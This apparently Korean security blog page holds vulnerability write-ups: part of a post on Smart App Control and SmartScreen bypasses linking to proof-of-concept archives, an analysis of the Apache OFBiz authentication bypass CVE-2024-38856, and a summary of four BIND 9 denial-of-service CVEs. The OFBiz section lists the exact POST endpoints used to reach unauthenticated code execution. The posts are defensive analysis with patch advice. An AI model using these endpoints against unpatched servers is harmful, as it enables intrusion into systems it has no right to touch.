> SAC, SmartScreen에는 보안 경고 없이 최소한의 사용자 상호 작용으로 초기 액세스를 허용할 수 있는 여러 근본적인 설계 약점이 존재

> 두 기능을 활성화 한다고 하더라도 추가 보안 장치들이 필요

 

6. 참고

[1] https://www.elastic.co/security-labs/dismantling-smart-app-control
[2] https://learn.microsoft.com/ko-kr/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/
[3] https://blog.naver.com/ucert/222547866683
[4] https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003
[5] https://www.koreassl.com/support/faq/DV-OV-EV-%EB%B3%B4%EC%95%88-%EC%9D%B8%EC%A6%9D%EC%84%9C%EC%9D%98-%EC%B0%A8%EC%9D%B4%EC%A0%90%EC%9D%B4-%EB%AD%94%EA%B0%80%EC%9A%94
[6] https://ko.wikipedia.org/wiki/%EC%99%B8%EB%B6%80_%ED%95%A8%EC%88%98_%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4
[7] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip
[8] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip
[9] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip
[10] https://en.wikipedia.org/wiki/Mark_of_the_Web
[11] https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py
[12] https://www.boannews.com/media/view.asp?idx=131857&page=4&kind=1

1. CVE-2024-38856 [1]

[사진 1] CVE-2024-38856

- Apache OFBiz잘못된 인증으로 인해 인증을 거치지 않고 원격 코드 실행이 가능한 취약점

> 공격자들의 익스플로잇을 위한 스캔이 활발히 이루어지는 중

영향받는 버전: Apache OFBiz 18.12.14 이하 버전

 

2. 주요내용 [2]

- 취약점 악용에 사용되는 URL은 다음과 같음

> POST /webtools/control/forgotPassword/ProgramExport

> POST /webtools/control/main/ProgramExport

> POST /webtools/control/showDateTime/ProgramExport

> POST /webtools/control/view/ProgramExport

> POST /webtools/control/TestService/ProgramExport

 

- 사용자 요청 수신시 서버는 path , requestUri overrideViewURI 변수의 값을 초기화 진행

> getRequestUri()를 호출하여 requestUri 초기화

> getOverrideViewUri()를 호출하여 overrideViewUri 초기화

* /forgotPassword/ProgramExport URL을 대상으로 분석

[사진 2] requestUri 및 overrideViewURI 변수 초기화

- getRequestUri()경로를 “/”로 분할한 후 0번째 요소의 값 반환

> URL /forgotPassword/ProgramExport에서 0번째 요소 값은 forgotPassword(반환 값)

[사진 3] getRequestUri()

- getOverrideViewUri() 또한 경로를 “/”로 분할한 후 1번째 요소 값 반환

> URL /forgotPassword/ProgramExport에서 1번째 요소 값은 ProgramExport(반환 값)

[사진 4] getOverrideViewUri()

- requestUri overrideViewURI 변수는 다음과 같이 초기화됨

> requestUri 변수 = forgotPassword

> overrideViewUri 변수 = ProgramExport

[사진 5] 초기화 결과

- 인증 검사requestUri 값에 대해 수행

> 앞선 초기화 결과 값의 차이로 인해 버그가 발생하여 잘못된 요청이 허용될 수 있는 것으로 판단됨

> 잘못된 요청의 경우 securityAuth 값이 false가 되어 인증을 필요로 하지 않음

[사진 6] 잘못된 요청(위) 및 정상 요청(아래)의 securityAuth 차이

- 마지막으로, ProgramExport 뷰를 렌더링하여 인증 없이 제공된 코드를 실행할 수 있음

[사진 7] ProgramExport

- 익스플로잇 예시 및 시연 영상 [3]

[사진 8] 익스플로잇 예시

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> 권한 검사 기능을 도입: security.hasPermission() 추가 [5]

제품명 영향받는 버전 해결 버전
Apache OFBiz ~ 18.12.14 18.12.15

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-38856
[2] https://blog.sonicwall.com/en-us/2024/08/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability/#top
[3] https://d3ik27cqx8s5ub.cloudfront.net/blog/media/uploads/poc.mp4?_=1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71517&menuNo=205020
[5] https://github.com/apache/ofbiz-framework/commit/9b20a93c2487cca47392e6489472495ab4719447
[6] https://securityaffairs.com/166612/hacking/critical-apache-ofbiz-flaw.html
[7] https://www.boannews.com/media/view.asp?idx=131858&page=1&kind=1

1. BIND (Berkeley Internet Name Domain) [1]

- DNS를 구현한 오픈소스 소프트웨어 [2]

 

2. 주요내용

- CISABIND 9 DNS 소프트웨어 제품군에서 발견된 여러 취약점에 대한 권고 발표 [3]

> ISC에 의해 발견되어 패치가 적용됨

> 공격자들은 이를 악용해 DoS 공격을 실행할 수 있음

 

2.1 CVE-2024-4076 [4][5]

[사진 1] CVE-2024-4076

- DNS 서버에서 오래된 데이터와 로컬 데이터 조회가 동시에 이루어질 때 발생하는 오류(Assertion 실패)서비스 거부 상태를 유발

> Assertion: BIND 서버가 특정 조건이나 상태를 확인하고, 맞지 않을 경우 오류 발생 또는 특정 동작을 수행하는 것

영향받는 버전
- BIND 9
> 9.16.13 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.33-S1 ~ 9.11.37-S1
> 9.16.13-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.2 CVE-2024-1975 [6][7]

[사진 2] CVE-2024-1975

- KEY 레코드를 처리하거나 캐시된 레코드를 검증할 때, SIG(0) 서명된 요청을 연속적으로 전송하여 CPU 리소스를 소진(과도한 부하)시켜 서비스 거부 상태를 유발

> 서버가 KEY Resource Record가 포함된 영역을 호스팅하거나, DNSSEC KEY Resource Record를 캐시의 DNSSEC 서명 도메인에서 유효성을 확인하는 경우

> KEY Resource Record(DNSKEY 레코드): DNSSEC 서명을 확인하는 데 사용되는 공개 키가 포함되어 있으며, 이를 이용해 무결성을 검증 [8]

> SIG(0) 서명: DNSSEC에서 DNSKEY 레코드의 무결성을 보장하기 위해 사용되는 디지털 서명(, DNSKEY 레코드에 대한 디지털 서명)

> 클라이언트는 서버로부터 DNSKEY 레코드와 SIG(0) 서명을 받아 DNSKEY 레코드에서 공개키 추출 및 해당 공개키를 사용해 SIG(0)의 서명의 유효성 검증

영향받는 버전
- BIND 9
> 9.0.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.9.3-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.49-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.3 CVE-2024-1737 [9][10]

[사진 3] CVE-2024-1737

- 서버가 동일한 호스트에 대해 많은 수의 Resource Records(RR)를 보유하고 있는 경우 데이터베이스의 성능 저하를 유발

> DB RR 내용 추가나 업데이트 또는 클라이언트의 쿼리 처리 시 성능 저하가 발생할 수 있음

> 질의 속도가 100배 느려질 수 있음

영향받는 버전
- BIND 9
> 9.11.0 ~ 9.11.37
> 9.16.0 ~ 9.16.50
> 9.18.0 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.11.4-S1 ~ 9.11.37-S1
> 9.16.8-S1 ~ 9.16.50-S1
> 9.18.11-S1 ~ 9.18.27-S1

 

2.4 CVE-2024-0760 [11][12]

[사진 4] CVE-2024-0760

- TCP를 통해 다수의 DNS 메시지를 보내 서버 과부하 또는 다운을 발생시켜 서비스 거부 유발

> ACL을 사용해도 공격이 완화되지 않음

영향받는 버전
- BIND 9
> 9.18.1 ~ 9.18.27
> 9.19.0 ~ 9.19.24

- BIND Supported Preview Edition
> 9.18.11-S1 ~ 9.18.27-S1

 

3. 대응방안

- 최신 보안 업데이트 적용 [13][14]

CVE-2024-1975의 경우 serve-stale(만료된 콘텐츠를 클라이언트에 제공하는 것) 비활성화 시 완화 가능한 것으로 보임

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-4076 BIND 9 9.16.13 ~ 9.16.50 9.18.28
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.33-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.13-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1975 BIND 9 BIND 9 9.0.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.9.3-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.49-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-1737 BIND 9 9.11.0 ~ 9.11.37 9.18.28
9.16.0 ~ 9.16.50
9.18.0 ~ 9.18.27
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.11.4-S1 ~ 9.11.37-S1 9.18.28-S1
9.16.8-S1 ~ 9.16.50-S1
9.18.11-S1 ~ 9.18.27-S1
CVE-2024-0760 BIND 9 9.18.1 ~ 9.18.27 9.18.28
9.19.0 ~ 9.19.24 9.20.0
BIND 9 Preview Edition 9.18.11-S1 ~ 9.18.27-S1 9.18.28-S1

 

4. 참고

[1] https://www.isc.org/bind/
[2] https://github.com/isc-projects/bind9?tab=readme-ov-file
[3] https://www.cisa.gov/news-events/alerts/2024/07/24/isc-releases-security-advisories-bind-9
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-4076
[5] https://kb.isc.org/v1/docs/cve-2024-4076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-1975
[7] https://kb.isc.org/v1/docs/cve-2024-1975
[8] https://www.cloudflare.com/ko-kr/learning/dns/dns-records/dnskey-ds-records/
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-1737
[10] https://kb.isc.org/v1/docs/cve-2024-1737
[11] https://nvd.nist.gov/vuln/detail/CVE-2024-0760
[12] https://kb.isc.org/v1/docs/cve-2024-0760
[13] https://kb.isc.org/docs/aa-00913
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71506&menuNo=205020
[15] https://www.dailysecu.com/news/articleView.html?idxno=158092
[16] https://m.boannews.com/html/detail.html?idx=131717&skind=5
[17] https://asec.ahnlab.com/ko/79800/

'취약점 > Denial of Service' 카테고리의 다른 글

NXDomain Flooding  (0) 2024.07.28
Cloud DDoS 취약점 Linguistic Lumberjack (CVE-2024-4323)  (0) 2024.05.22
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

+ Recent posts